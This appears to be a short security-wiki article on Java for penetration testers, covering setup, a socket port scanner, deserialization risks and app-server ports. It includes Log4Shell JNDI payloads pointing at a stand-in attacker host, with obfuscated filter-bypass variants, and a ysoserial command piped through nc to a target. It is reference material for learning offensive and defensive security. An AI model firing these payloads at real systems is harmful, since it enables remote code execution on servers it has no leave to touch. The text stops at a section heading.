Java

2 min readArticle

Java is a compiled, statically-typed, object-oriented language that runs on the JVM (Java Virtual Machine). "Write once, run anywhere" — same bytecode runs on any platform with a JVM. Huge in enterprise environments. Security relevance: many enterprise apps are Java-based, lots of historical vulns (Log4Shell, Java deserialization), and Android apps run on a Java-like environment.

Security Relevance

Log4Shell (CVE-2021-44228) — critical RCE in Log4j, a Java logging library. Affected millions of Java applications
Java deserialization — a persistent source of RCE vulns in enterprise apps
Android reverse engineering (Dalvik/ART is Java-based)
Enterprise targets often run Java app servers (Tomcat, JBoss, WebLogic, WebSphere)
Burp Suite is written in Java

Setup

bash

# Install JDK
sudo apt install default-jdk

# Check version
java -version
javac -version

# Compile
javac MyProgram.java

# Run
java MyProgram

# Run a JAR
java -jar application.jar

Basic Syntax

java

import java.util.*;
import java.net.*;
import java.io.*;

public class PortScanner {
    public static void main(String[] args) throws Exception {
        String host = "192.168.1.1";
        
        for (int port = 1; port <= 1024; port++) {
            try {
                Socket socket = new Socket();
                socket.connect(new InetSocketAddress(host, port), 500);
                System.out.println("Port " + port + " is OPEN");
                socket.close();
            } catch (IOException e) {
                // Port closed, ignore
            }
        }
    }
}

Java Deserialization (Security Context)

Dangerous when user-controlled data gets deserialized:

java

// Vulnerable pattern
ObjectInputStream ois = new ObjectInputStream(inputStream);
Object obj = ois.readObject();  // RCE if data is malicious

// Tools for exploiting: ysoserial
// java -jar ysoserial.jar CommonsCollections1 "whoami" | nc target 1234

Log4Shell Quick Ref

shell

# The payload that triggered the vulnerability
${jndi:ldap://attacker.com:1389/exploit}

# Obfuscated bypass variants
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attacker.com/a}
${j${::-n}di:ldap://attacker.com/a}

Common Java App Servers to Know

Server	Default Port	Notes
Apache Tomcat	8080	Most common
JBoss/WildFly	8080, 9990	Enterprise
WebLogic	7001	Oracle, many CVEs
WebSphere	9080, 9443	IBM
Jetty	8080	Embedded/lightweight

Useful Java Security Tools